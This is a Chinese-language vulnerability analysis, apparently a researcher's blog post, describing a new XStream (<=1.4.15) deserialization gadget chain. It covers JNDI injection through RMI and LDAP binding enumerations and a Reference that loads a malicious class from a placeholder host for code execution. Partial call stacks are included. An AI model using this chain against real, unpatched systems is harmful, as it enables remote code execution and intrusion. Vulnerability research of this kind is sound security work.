漏洞复现证明截图
影响范围
XStream<=1.4.15
漏洞分析
年前找的一个链,前天害怕被撞就交了,结果今天就发了补丁,不过修的几个链跟我找的sink点和触发toString点都不一样,在这里给大家分享出来。 其他爆出的几个链可以在 http://x-stream.github.io/changes.html 上查看poc 回顾下CVE-2020-26217的调用栈
1 | com.thoughtworks.xstream.converters.collections.MapConverter#putCurrentEntryIntoMap |
hashcode()->toString()
的入口 jdk.nashorn.internal.objects.NativeString
和 sink点 javax.imageio.ImageIO$ContainsFilter
都被加入到了黑名单中。 不过我们可以复用 java.io.SequenceInputStream#nextStream
去找新的sink点。
RMI
com.sun.jndi.rmi.registry.BindingEnumeration
ctx
和 var2
我们都可控,因此这里可以进行JNDI注入。不过 ctx
是 com.sun.jndi.rmi.registry.RegistryContext
类型的,我们只能打rmi的JNDI注入,继续找找看有没有ldap的。
LDAP
com.sun.jndi.ldap.LdapBindingEnumeration#createItem
DirectoryManager.getObjectInstance
可以通过传入 Reference
对象来加载恶意class,var6、this.homeCtx、this.homeCtx.envprops、var2
我们都可控,回溯一下var4。 跟进
decodeReference
,由于 decodeObject
中的 var0
我们可控,最终可以让代码进入到 decodeReference
方法中,且 new Reference
的所有参数都可控,构造 new Reference("refClassName", "factoryClassName", "http://example.com:12345/")
传入 DirectoryManager.getObjectInstance
即可加载 [http://example.com:12345/](http://example.com:12345/)
上名为 factoryClassName.class
的类,将恶意代码放入static代码块即可任意代码执行。 把
com.sun.jndi.ldap.LdapBindingEnumeration
直接传过去会出现 this.data
不为null的情况,所以我用了 com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl
来间接调用 LdapBindingEnumeration#next
方法。
触发toString()
然后还有 toString
的入口,找了一圈所有类的 hashcode()
方法也没有找到能够触发 toString
的类,由于 SerializableConverter
支持调用 readObject
方法,前提是该类实现了 java.io.Serializable
接口(类的属性没有实现该接口依然可以被正常赋值),并且没有被之前的转换器捕获到,因此我们可以找找所有类的 readObject
方法。 比较常用的是
javax.management.BadAttributeValueExpException#readObject
,但是该类继承了 Throwable
,会被 ThrowableConverter
补货到,无法被 SerializableConverter
解析。 因此我们需要找一个新的类,我找到了一条可以用于Java原生反序列化触发
toString()
的链,这里暂不公开,下面是公开的几个CVE中用到的 toString
链。
1 | java.util.PriorityQueue#readObject |
不过这个链只能用在XStream中而不能用在Java原生反序列化中的,因为
javafx.collections.ObservableList
没有实现序列化接口。 调用栈 RMI
1 | java.util.PriorityQueue#readObject |
Ldap
1 | java.util.PriorityQueue#readObject |